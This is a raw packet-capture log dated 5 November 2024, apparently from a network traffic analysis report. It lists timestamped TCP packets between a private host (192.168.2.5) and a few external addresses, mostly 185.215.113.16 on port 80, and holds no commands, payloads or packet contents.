Nov 5, 2024 10:13:15.775579929 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.775589943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.775626898 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.795536995 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.795563936 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.795655012 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.795671940 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.795722008 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.805877924 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.805888891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.806051016 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.806066990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.806077957 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.806138992 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.806190968 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.806195974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.806205988 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.806216955 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.806274891 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.806555986 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.806566000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.806577921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.806619883 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.806619883 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.806850910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.806881905 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.806942940 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.807004929 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.807018042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.807490110 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.807497978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.807579041 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.850739956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.850754023 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.850766897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.850858927 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.850878000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.850929022 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.851033926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.851043940 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.851057053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.851100922 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.851135015 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.851145983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.851155996 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.851181030 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.851191044 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.851198912 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.851200104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.851237059 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.851284027 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.891351938 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.891361952 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.891371965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.891441107 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.891473055 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.892524004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.892709970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.892720938 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.892731905 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.892780066 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.892822981 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.892884970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.892894030 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.892959118 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.917367935 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.917392969 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.917459011 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.917474031 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:15.917804003 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:15.923510075 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.923649073 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.923660994 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.923830032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.923841953 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.923851967 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.923875093 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.923875093 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.923933029 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.923994064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.924006939 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.924058914 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.924145937 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.924155951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.924166918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.924223900 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.924313068 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.924381971 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.924457073 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.924468994 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.924508095 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.967206955 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.967221975 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.967231989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.967242002 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.967252970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.967262030 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.967273951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.967324018 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.967354059 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.967365026 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.967381954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.967394114 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.967401981 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.967405081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.967427969 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.967461109 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.968241930 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.968252897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.968264103 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.968318939 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.968434095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.968445063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.968455076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:15.968483925 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:15.968508959 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.008838892 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.008850098 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.008860111 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.008905888 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.010615110 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.010626078 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.010636091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.010699987 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.010699987 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.035213947 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.035233974 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.035305023 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.035324097 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.035414934 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.039541006 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.039552927 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.039562941 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.039572954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.039586067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.039606094 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.039633989 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.040302992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.040313959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.040323973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.040338039 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.040349007 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.040352106 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.040385008 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.040396929 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.040868998 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.041011095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.041021109 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.041032076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.041040897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.041049004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.041062117 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.041090012 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.069503069 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:16.069530964 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:16.069674969 CET	49713	443	192.168.2.5	4.175.87.197
Nov 5, 2024 10:13:16.069681883 CET	443	49713	4.175.87.197	192.168.2.5
Nov 5, 2024 10:13:16.083573103 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.083612919 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.083625078 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.083636999 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.083678961 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.083739042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.085330009 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.085488081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.085536003 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.085630894 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.085642099 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.085735083 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.085793972 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.085807085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.085817099 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.085828066 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.085856915 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.086462975 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.086474895 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.086484909 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.086541891 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.086541891 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.086776018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.086786032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.086796045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.086833954 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.124540091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.124552011 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.124562025 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.124628067 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.124644041 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.125498056 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.125583887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.125592947 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.125603914 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.125649929 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.153856039 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.153878927 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.153913975 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.153928995 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.153947115 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.153964043 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.156483889 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.156495094 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.156507969 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.156563044 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.156652927 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.156663895 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.156676054 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.156714916 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.156738997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.157226086 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.157234907 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.157242060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.157270908 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.157298088 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.157377958 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.157388926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.157399893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.157428980 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.157860994 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.157870054 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.157876015 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.157907963 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.157912970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.157923937 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.157970905 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.200376034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.200448990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.200459003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.200476885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.200488091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.200546980 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.200593948 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.201004982 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.201117992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.201128960 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.201139927 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.201164961 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.201322079 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.201334000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.201347113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.201391935 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.201642036 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.201659918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.201669931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.201680899 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.201725006 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.202152014 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.202239990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.202250957 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.202265024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.202274084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.202307940 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.241800070 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.241811991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.241822004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.241899967 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.241899967 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.242598057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.242609978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.242620945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.242651939 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.272933006 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.272953033 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.273011923 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.273015022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.273026943 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.273076057 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.273108959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.273118973 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.273143053 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.273153067 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.273252964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.273433924 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.273442984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.273480892 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.273581982 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.273593903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.273633957 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.273729086 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.273740053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.273750067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.273791075 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.274187088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.274197102 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.274207115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.274250031 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.274549007 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.274563074 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.274604082 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.274611950 CET	443	49716	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:16.274636984 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.274643898 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.274653912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.274666071 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.274674892 CET	49716	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:16.274676085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.274709940 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.275024891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.275628090 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.318416119 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.318427086 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.318437099 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.318480015 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.318726063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.318737984 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.318747044 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.318792105 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.318810940 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.318873882 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.319037914 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.319048882 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.319058895 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.319092035 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.319123030 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.319202900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.319212914 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.319222927 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.319235086 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.319242954 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.319251060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.319261074 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.319272041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.319281101 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.319292068 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.319776058 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.319823027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.319824934 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.319833994 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.319998026 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.358954906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.358998060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.359008074 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.359039068 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.359378099 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.359520912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.359561920 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:16.359572887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.359608889 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.359618902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.359628916 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:16.359657049 CET	49712	80	192.168.2.5	185.215.113.16
